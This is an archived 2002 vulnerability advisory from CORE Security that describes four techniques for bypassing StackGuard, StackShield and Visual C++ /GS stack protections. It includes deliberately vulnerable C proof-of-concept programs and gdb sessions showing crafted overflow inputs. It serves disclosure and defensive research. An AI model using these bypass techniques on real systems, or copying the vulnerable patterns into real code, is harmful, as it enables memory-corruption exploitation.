TUCoPS :: General Information :: hack5309.htm

Protected stack discussion and exploit
25th Apr 2002 [SBWID-5309]
COMMAND

	Protected stack discussion and exploit

SYSTEMS AFFECTED

	All

PROBLEM

	In CORE SECURITY TECHNOLOGIES whitepaper [http://www.corest.com] :
	

	In the past  years,  several  technologies  (in  the  form  of  software
	packages) have been developed to protect programs  against  exploitation
	of buffer overflow vulnerabilities. These technologies aim at  detecting
	and preventing the execution of hostile code  that  takes  advantage  of
	software security vulnerabilities by overwriting a critical  portion  of
	a running program\'s memory known as the stack.
	

	The techniques used to exploit this type of  vulnerabilities  have  been
	discussed at length in the past years and, although they have been  used
	for years in malicious code, notably the famous Robert  T.  Morris  worm
	in 1988 [1], were initially introduced  to  the  security  community  at
	large in the pioneering  articles  \"Smashing  the  stack  for  fun  and
	profit\" [2] writen by Aleph1 and \"How to write buffer  overflows\"  by
	Mudge.[3]
	

	Technologies to detect and prevent \"stack smashing\" exploit code  were
	presented thereafter, notably at the  1998  USENIX  Security  conference
	[4].
	

	\"Stack shielding\" software have  been  developed  on  the  promise  of
	preventing exploitation of buffer  overflow  vulnerabilities  that  make
	use of the stack smashing techniques.
	

	Several other techniques to exploit buffer overflows that  DO  NOT  make
	use of stack  overwriting  or  code  execution  on  the  stack  have  be
	presented during the past years.
	

	Techniques that exploit  vulnerabilities  by  overwriting  or  otherwise
	abusing other memory portions of a  running  program  are  described  in
	Solar Designer\'s \"Getting  around  non-executable  stack  (and  fix)\"
	[5], \"Advanced return-into-lib(c) exploits(PaX case  study)\"  [6]  and
	\"w00w00 on Heap Overflows\" [7].
	

	However, for the purpose of this advisory we will  focus  on  the  stack
	protection mechanisms and claim the current technologies do not  provide
	adecuate protection:
	

	Stack shielding protections have been missunderstood, they only  protect
	a particular type of stack smashing exploitation, namely return  address
	overwrites, NOT generic stack smashing attacks as they claim.
	

	This has been demostrated in the past, as in \"Bypassing StackGuard  And
	StackShield\" [8] and \"Vulnerability  in  ImmuniX  OS  Security  Alert:
	StackGuard 1.21 Released\" [9]
	

	We studied the three most visible \"stack shielding\" technologies:
	

	 -Wirex StackGuard (http://www.immunix.com) and

	 -StackShield (http://www.angelfire.com/sk/stackshield/download.html)

	 -Stack Smashing Protection (SSP, formerly ProPolice), from Hiroaki Etoh

	  (http://www.trl.ibm.com/projects/security/ssp/)

	

	As well as  the  recently  introduced  /GS  stack  protecting  mechanism
	incorporated into Microsoft\'s Visual C++ .NET as  part  of  the  Visual
	Studio .NET product family. Information about the  feature  and  details
	on       how       it       works        are        available        at:
	http://go.microsoft.com/fwlink/?LinkId=7260
	

	We discovered that all of them present basic design limitations as  well
	as some implementation flaws.
	

	Our  conclusion  is  that  although  \"stack  shielding\"   technologies
	present a valuable  mean  to  prevent  execution  of  certain  forms  of
	malicious code, those technologies should not be thought as  a  solution
	to the problem of buffer overflow vulnerabilities  in  general  and  not
	even as a solution to some simple  stack  smashing  techniques  used  to
	exploit those vulnerabilities.
	

	Stack shielding mechanims do not suffice to ameliorate  the  effects  of
	badly written software and could give  a  false  sense  of  security  of
	devastating effects, if not considered as part  of  a  general  security
	strategy that includes secure design methodologies,  secure  programming
	practices, strict and well defined security testing  processes  and  the
	implementation of fixes and patches  as  well  as  the  use  of  ad  hoc
	technologies  to  prevent  exploitation  of  existing   vulnerabilities,
	publicy known or otherwise.
	

	

	*Vulnerable Packages:*
	

	 - StackShield up to, and including, v0.7-beta  is vulnerable to #1, #3 and

	#4
	

	 - StackGuard  1.2  and 2.0.1 (included in Immunix 7.0) is vulnerable to all

	   the described methods.

	

	 - StackGuard 1.21 is not vulnerable to #2

	   Other StackGuard versions were not tested and are suspected to be

	   vulnerable as well.

	

	 - Programs compiled with Microsoft Visual C++ .NET /GS compiler switch are

	   still exploitable  by using techniques described in problem #1.

	

	Exploitation using #2, #3 and #4 is only possible if  the  attacker  can
	guess or bruteforce the correct value of the \"cookie\",  the  existence
	of heuristics for doing that are not in the scope of this advisory.
	

	 - SSP (ProPolice) is NOT vulnerable to any of the described exploitation 

	   methods.

	

	*Credits:*
	

	This vulnerabilities were discovered and researched by Gerardo  Richarte
	from  CORE  Security  Technologies.  Pionering  work  and   ideas   were
	introduced by Richarte and many others (see the references  section)  in
	various information security mailing lists and publications as far  back
	as 1999. We wish to thank Crispin  Cowan  and  Seth  Arnold  from  Wirex
	(Immunix) for their quick response addressing this report.
	

	

	*Technical Description - Exploit/Concept Code*
	

	As stated previously, we have identified two  basic  design  limitations
	in the current stack smashing technologies:
	

	First, they only protect data located  in  memory  \"above\"  the  first
	safeguarded address.
	

	Second, (and we think this is  a  more  serious  limitation)  they  only
	check for attacks after the called vulnerable function  finishes,  right
	before returning from it so exploitation is possible BEFORE exiting  the
	vulnerable function.
	

	In addition to this, StackGuard and StackShield have  an  implementation
	flaw:
	

	They protect the stack starting  at  the  return  address,  leaving  the
	saved frame pointer unprotected.
	

	In our study we found four different tricks  to  bypass  stack  smashing
	protections, the first one is an extension  of  that  described  in  the
	previously refered articles  and  is  a  direct  consecuence  of  design
	limitations.  The  other  three  result  from  abusing   frame   pointer
	overwrites, and  may  be  corrected  introducing  some  changes  in  the
	protection mechanisms.
	

	

	1) Control of function\'s arguments

	

	In [8] and [9] a method to  exploit  stack  based  buffer  overflows  on
	stack protected programs is presented. In the example, a  local  pointer
	is used to write to arbitrary memory  locations  within  the  program\'s
	memory space. This technique can be extended to exploit  the  fact  that
	in standard C compiled programs, function arguments are located  in  the
	stack at \"higher\" addresses than the return address:
	

	  lower addresses

	        [   local variables    ]

	        [ saved frame pointer  ]

	        [ CANARY (0x000dff0a)  ]

	        [    return address    ]

	        [ function\'s arguments ]

	  higher addresses

	

	

	Controlling functions arguments can effectively turn a  stack  protected
	function into an exploitable program by turning  the  arguments  into  a
	\"write-anything-anywhere\"  primitive.  Once  the  attacker   has   the
	ability to \"write anything, anywhere\" it is trivial  to  bypass  stack
	protection mechanisms.
	

	 The following program will function as proof of concept code:

	

	gera@vaiolent:~src/sg/tests$ cat >sg1.c <<_EOF_

	/* sg1.c                                                   *

	 * specially crafted to feed your brain by gera@corest.com */

	

	int func(char *msg) {

	    char buf[80];

	

	    strcpy(buf,msg);

	    // toupper(buf);        // here just to give func() \"some sense\"

	    strcpy(msg,buf);

	}

	

	int main(int argv, char** argc) {

	        func(argc[1]);

	}

	_EOF_

	

	gera@vaiolent:~src/sg/tests$ make sg1

	cc     sg1.c   -o sg1

	gera@vaiolent:~src/sg/tests$ gdb sg1

	GNU gdb 19990928

	Copyright 1998 Free Software Foundation, Inc.

	(gdb) p \"Tests performed on Immunix 7.0, for StackShield remove \"Cnry\"

	(gdb) r

	aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

	aaaaaaaa_EBPCnry_RETbbbb

	(gdb) bt

	#0  0x40094154 in strcpy () from /lib/libc.so.6

	#1  0x8048469 in func ()

	(gdb) x/3i $pc-3

	0x40094151 <strcpy+17>: mov    (%edx),%al

	0x40094153 <strcpy+19>: inc    %edx

	0x40094154 <strcpy+20>: mov    %al,(%ecx,%edx,1)

	(gdb) x/s $edx

	0xbffff95d: \'a\' <repeats 79 times>, \"_EBPCnry_RETbbbb\"

	(gdb) p/x $ecx+$edx

	$2 = 0x62626262

	(gdb) p \"Now we can write anything anywhere\"

	

	

	2) Returning with an altered frame pointer

	

	In standard frame pointer overwrite exploits [10], control over the  the
	frame pointer is gained after  the  first  return  from  the  vulnerable
	function. Shortly before a second return  control  is  gained  over  the
	execution flow of the vulnerable program, since  the  attacker  can  now
	control the stack  pointer  and  therefore  the  address  of  where  the
	function will return to.
	

	Using this technique against stack protected programs does not  lead  to
	staight  foward  exploitation   of   vulnerabilities,   however   design
	limitations can provide an effective way to use  it.  In  this  case  we
	will use StackGuard\'s  protection  as  an  example  of  exploitability.
	StackGuard uses a  protection  mechanism  called  \"terminator  canary\"
	that prevents overwriting the return address. However  an  attacker  can
	overwrite *up to the terminator canary without modifying  it*  and  thus
	gain control over the frame pointer.
	

	 The following program serves as a proof of concept code:

	

	gera@vaiolent:~src/sg/tests$ cat >sg2.c <<_EOF_

	/* sg2.c                                                   *

	 * specially crafted to feed your brain by gera@corest.com */

	

	void func(char *msg) {

	    char buf[80];

	    strcpy(buf,msg);

	}

	

	int main(int argv, char** argc) {

	    func(argc[1]);

	}

	_EOF_

	

	gera@vaiolent:~src/sg/tests$ make sg2

	cc     sg2.c   -o sg2

	gera@vaiolent:~src/sg/tests$ gdb sg2

	GNU gdb 19990928

	Copyright 1998 Free Software Foundation, Inc.

	(gdb) p \"To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,

	it\'s ok\"

	(gdb) r

	\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

	aaaaaaaaa`echo -e \'1111\\x0d\\xff\'`^J

	\" \"`echo -e \'BBBB\\x0d\\xff\'`^J

	\" \"`echo -e \'BBBB\\x0d\\xff\'`^J

	\"

	Program received signal SIGSEGV, Segmentation fault.

	0x80486b1 in main ()

	(gdb) x/i $pc

	0x80486b1 <main+25>:     leave

	(gdb) p/x $ebp

	$2 = 0x31313131

	(gdb) x/20x $sp

	...

	...

	0xbffffc5c:      0x42424242      0x000aff0d      ...

	(gdb) p \"You need to locate 0x42424242 in stack (0x42424242 corresponds to

	\'BBBB\')

	(gdb) p \"Now run it again changin \'1111\' for the address you just found\"

	(gdb) r

	\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

	aaaaaaaaa`echo -e \'\\x5c\\xfc\\xff\\xbf\\x0d\\xff\'`^J

	\" \"`echo -e \'BBBB\\x0d\\xff\'`^J

	\" \"`echo -e \'BBBB\\x0d\\xff\'`^J

	\"

	

	Program received signal SIGSEGV, Segmentation fault.  0x42424242  in  ??
	() (gdb) p \"As you can see, we hooked the execution flow\"
	

	

	3) Further control over local variables

	

	Overwriting the least significant byte in the frame  pointer  with  zero
	(0x00) will move it at most 255 bytes ahead into  stack  space.  Usually
	this is exploited by making the new stack have  a  new  return  address,
	but that would be detected or ignored on stack shielded programs.
	

	However, what an attacker can  do  is  control  the  last  byte  of  the
	caller\'s frame  pointer,  effectively  controlling  all  of  its  local
	variables and function\'s arguments. As we showed in #1  this  can  lead
	to direct bypassing of the stack protection mechanisms. In this case  we
	expand the technique described in #1 and realize that  an  attacker  can
	control all the local variables and arguments of the  *caller  function*
	without modifying any return address or canary.
	

	 The following program serves as a proof of concept code:

	

	gera@vaiolent:~src/sg/tests$ cat >sg3.c <<_EOF_

	/* sg3.c                                                   *

	 * specially crafted to feed your brain by gera@corest.com */

	

	char *read_it() {

	    char buf[256];

	

	    buf[read(0,buf,sizeof buf)]=0;

	    return strdup(buf);

	}

	

	int main(int argv, char **argc) {

	    char *msg = malloc(1000);

	

	    snprintf(msg,999,\"User: %s\",read_it());

	}

	_EOF_

	

	gera@vaiolent:~src/sg/tests$ make sg3

	cc     sg3.c   -o sg3

	gera@vaiolent:~src/sg/tests$ ulimit -c 1111111111

	gera@vaiolent:~src/sg/tests$ perl -e \'print \"A\"x256\' | ./sg3

	Segmentation fault (core dumped)

	gera@vaiolent:~src/sg/tests$ gdb sg3 core

	GNU gdb 19990928

	Copyright 1998 Free Software Foundation, Inc.

	#0  _IO_vsnprintf (string=0x41414141 <Address 0x41414141 out of bounds>,

	    maxlen=999, format=0x8048922 \"User: %s\", args=0xbffffac4)

	    at vsprintf.c:127

	127     vsnprintf.c: No such file or directory.

	(gdb) p \"If you take a look an vsnprintf() arguments, you\'ll see we can

	write anywhere in memory.\"

	

	This example is valid for  StackGuard  and  StackShielded  programs.  If
	StackShield is used with the  option  to  terminate  execution  when  an
	attack is detected, we only need  to  set  as  new  return  address  the
	original return address, so it doesn\'t detect a change.
	

	

	4) Pointing the caller\'s frame to the Global Offset Table (GOT)

	

	Finally, this technique is a variation a bit more complex than what  was
	presented  before.  In  standard  compiled  C  code,  when   not   using
	-fomit-frame-pointer compiler switch in  GCC  or  equivalents  in  other
	compilers, all local  variables  are  accessed  relative  to  the  frame
	pointer, then if an  attacker  gains  full  control  over  it,  she  can
	arbitrarly choose where in memory local variables are  placed,  this  is
	the  trick  used  in  #3  but  a   slight   variation   introduces   new
	posibilities.
	

	By using control over the frame pointer to  place  local  variables  and
	function arguments on the Global Offest  Table  memory  space  (OR  MANY
	OTHER MEMORY PORTIONS, i.e.  heap  allocated  memory)  an  attacker  can
	effectively  exploit  vulnerable  programs  bypassing  stack  protection
	mechanisms.
	

	

	The following program serves as a proof of concept code:
	

	gera@vaiolent:~src/sg/tests$ cat >sg6.c <<_EOF_

	/* sg6.c                                                   *

	 * specially crafted to feed your brain by gera@corest.com */

	

	// XXX: Add real encryption here

	#define decrypt(dest,src)     strcpy(dest,src)

	

	int is_new_user = 0;

	

	int get_username(char *user) {

	        char temp[80];

	

	        decrypt(temp,user);

	

	        // XXX: add some real checks in the future

	        if (strcmp(temp,\"gera\")) is_new_user = 1;

	

	        return strdup(temp);

	}

	

	int main(int argv, char **argc) {

	    char *user_name;

	

	    user_name = get_username(argc[1]);

	    return 0;

	}

	_EOF_

	

	gera@vaiolent:~src/sg/tests$ make sg6

	cc     sg6.c   -o sg6

	gera@vaiolent:~src/sg/tests$ gdb sg6

	GNU gdb 19990928

	Copyright 1998 Free Software Foundation, Inc.

	(gdb) p \"To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,

	it\'s ok\"

	(gdb) r

	\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

	aaaaaaaaaBBBB`echo -e \'\\x0d\\xff\'`^J

	\"

	Program received signal SIGSEGV, Segmentation fault.

	0x8048750 in main ()

	(gdb) x/i $pc

	0x8048750 <main+28>:    mov    %eax,-4(%ebp)

	(gdb) p/x $ebp

	$1 = 0x62626262

	(gdb) x/s $eax

	0x80499f0:        \'a\' <repeats 80 times>, \"bbbb\\rÿ\\n\"

	(gdb) p \"And now, we are ready to write-anything-anywhere\"

	

	 The same comments as in 3) regarding StackShield exploitation applies.

	

	

	Microsoft\'s /GS protection mechanism is vulnerable to #1 but it is  not
	straight forward to use any of  the  other  3  methods  of  exploitation
	because the frame pointer is protected with a random  canary  (known  as
	\"COOKIE\" in Microsoft documentation). The cookie is generated  in  the
	seccinit.c file of the CRT source files and  provided  with  Visual  C++
	.NET platform.
	

	StackGuard  v1.21  introduced  the  use  of  a  random  XOR  canary  for
	protection, but this  option  is  not  present  on  v2.0.1  (as  checked
	browsing source code). While the  random  XOR  canary  protection  would
	have made some of the attacks (#3 and #4) not so  straight  forward,  it
	is still possible to abuse the design limitations and bypass  protection
	if a brute force approach is taken covering all possible  values  for  a
	one byte change of the random canary value, this gives  the  attacker  a
	1/256 chance of  bypassing  the  protection,  more  than  enough  for  a
	sucessfull attack in most cases.
	

	Note that using an XOR canary as  in  StackGuard  1.21,  problem  #2  is
	prevented.
	

	StackShield up to 0.7beta does not appear to be vulnerable to #2 but  it
	is vulnerable to the other explotation techniques.
	

	A detailed paper describing the protection mechanisms  and  all  of  our
	findings will be  made  available  shortly  after  publication  of  this
	advisory at http://www.corest.com/corelabs/papers
	

	

	*References*
	

	[1] - The Morris Worm -

	      http://www.wikipedia.com/wiki/Morris+Worm

	

	[2] - Smashing the stack for fun and profit - Aleph1

	      http://community.corest.com/~juliano/bufo.html

	    (English - Spanish -Rusian)

	

	[3] - How to write buffer overflows - Mudge.

	      http://community.corest.com/~juliano/l0pht-howtowrite-bof.html

	

	[4] - Automatic Detection and Prevention of Buffer-Overflow Attacks

	      Crispin Cowan, Calton Pu, David Maier, Heather Hinton, Peat Bakke,

	      Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang,

	      7th USENIX Security Symposium

	      http://www.immunix.org/StackGuard/usenixsc98.pdf

	

	[5] - Getting around non-executable stack (and fix) - Solar Designer

	      http://online.securityfocus.com/archive/1/7480

	

	[6] - The advanced return-into-lib(c) exploits: PaX case study - Nergal

	      http://www.phrack.com/show.php?p=58&a=4

	

	[7] - w00w00 on Heap Overflows - Shock and w00w00

	      http://www.w00w00.org/files/articles/heaptut.txt

	

	[8] - Bypassing StackGuard And StackShield - Bulba and Kil3r

	      http://www.phrack.org/show.php?p=56&a=5

	

	[9] - Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released -

	      Gerardo Richarte

	      http://online.securityfocus.com/archive/1/34225

	

	[10]- The Frame Pointer Overwrite - klog

	      http://www.phrack.com/show.php?p=55&a=8

	

	

SOLUTION

	 Wirex\'s Immunix StackGuard.

	

	 Wirex offical response is:

	 The upcoming next release of StackGuard,version 3.0 fixes problems #2, #3

	 and #4 by moving the terminator canary to a position between the frame

	 pointer  and all local variables.

	

	 Problem #1 is not part of StackGuard\'s threat model, that is StackGuard is

	 not designed to protect against exploitation before the vulnerable function

	 exits.

	

	 Microsoft Visual Studio .NET /GS

	 Refer to Microsoft\'s white paper describing the design and implementation

	 of the /GS switch:  http://go.microsoft.com/fwlink/?LinkId=7260

	

	 StackShield

	 N/A

	

	 ProPolice/SSP

	 SSP is NOT vulnerable to any of the problems described.

	

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH